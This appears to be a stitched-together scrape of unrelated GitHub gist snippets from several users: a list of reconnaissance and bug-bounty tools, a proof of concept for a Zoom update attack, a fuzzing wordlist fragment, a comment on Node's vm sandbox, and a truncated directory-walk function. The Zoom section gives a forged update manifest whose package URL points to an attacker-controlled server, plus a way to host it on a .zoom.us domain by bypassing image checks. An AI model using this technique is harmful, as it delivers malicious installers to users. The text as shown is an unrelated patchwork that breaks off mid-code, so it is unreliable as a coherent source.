Kirill89

1. https://github.com/projectdiscovery/subfinder – a subdomain discovery tool
2. https://github.com/owasp-amass/amass – asset discovery
3. https://github.com/nmap/nmap – port enumiration
4. https://github.com/projectdiscovery/httpx – HTTP toolkit (server discovery)
5. https://github.com/tomnomnom/waybackurls – discover known URLs from Wayback Machine
6. https://github.com/lc/gau – discover known URLs from Wayback Machine and so on
7. https://github.com/trufflesecurity/trufflehog – secrets detection
8. https://github.com/projectdiscovery/nuclei – known vulnerabilities
9. https://github.com/ffuf/ffuf + https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content – discover hidden folders
10. https://github.com/OJ/gobuster – discover hidden folders

wbowling

POC - https://youtu.be/zGSLBDo3N7s

1. Create a malicious update manifest with the Package-url pointing a server you control:

Check-sum=11111111111111111111111111111111;Check2-sum=11111111111111111111111111111111;Update-Option=1;Current-version=5.4.53932.0709;Download-root=https://aw.rs/z;Package-url=https://aw.rs/z/5.4.53932.0709/zoomusInstaller.pkg?t=atupg;Package-name=zoomusInstaller.pkg;Installer-name=;ahcab-name=airhost.zip;sipcab-name=sipcall.zip;codesnippet-name=codesnippet_mac.zip;fullcab-name=zoomusInstallerFull.pkg;

2. Upload the manifest it to a .zoom.us domain, one example is as the icon for a new https://marketplace.zoom.us/ app (there are client side checks to see if it's an image but they can be bypassed): https://marketplacecontent.zoom.us//sMLaMgPKSw2SAfIfpYV1Eg/zqJOtwryQkyO_UMykn2OdA/app/4yr1OelsSIGCMOj5CvI1JQ/ZAS3dFjlS8W0jJt48Dy9fA.jpg

nullenc0de

/
$$$lang-translate.service.js.aspx
$367-Million-Merger-Blocked.html
$defaultnav
${idfwbonavigation}.xml
$_news.php
$search2
£º
.0

jcreedcmu

////////
// The vm module lets you run a string containing javascript code 'in
// a sandbox', where you specify a context of global variables that
// exist for the duration of its execution. This works more or less
// well, and if you're in control of the code that's running, and you
// have a reasonable protocol in mind// for how it expects a certain
// context to exist and interacts with it --- like, maybe a plug-in
// API for a program, with some endpoints defined for it that do
// useful domain-specific things --- your life can go smoothly.

lovasoa

// ES6 version using asynchronous iterators, compatible with node v10.0+

const fs = require("fs");
const path = require("path");

async function* walk(dir) {
    for await (const d of await fs.promises.opendir(dir)) {
        const entry = path.join(dir, d.name);
        if (d.isDirectory()) yield* walk(entry);
        else if (d.isFile()) yield entry;